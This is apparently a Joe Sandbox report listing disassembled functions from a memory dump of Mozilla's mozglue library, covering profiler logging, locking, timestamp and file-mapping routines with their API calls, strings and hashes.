Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
<none>, xrefs: 6C69DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

Dml, xrefs: 6C651F56
\ml, xrefs: 6C651F3E
MOZ_CRASH(), xrefs: 6C652000
Dml, xrefs: 6C651F32

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

name, xrefs: 6C698F16
timeline-ipc, xrefs: 6C699096
timeline-memory, xrefs: 6C699088
data, xrefs: 6C6990E8
timeline-fileio, xrefs: 6C6990A4
marker-chart, xrefs: 6C69905E
timeline-overview, xrefs: 6C69907A
marker-table, xrefs: 6C69906C
stack-chart, xrefs: 6C6990B2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

NAN, xrefs: 6C67C7AD
nan, xrefs: 6C67C7A8
inf, xrefs: 6C67C78F
INF, xrefs: 6C67C794

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
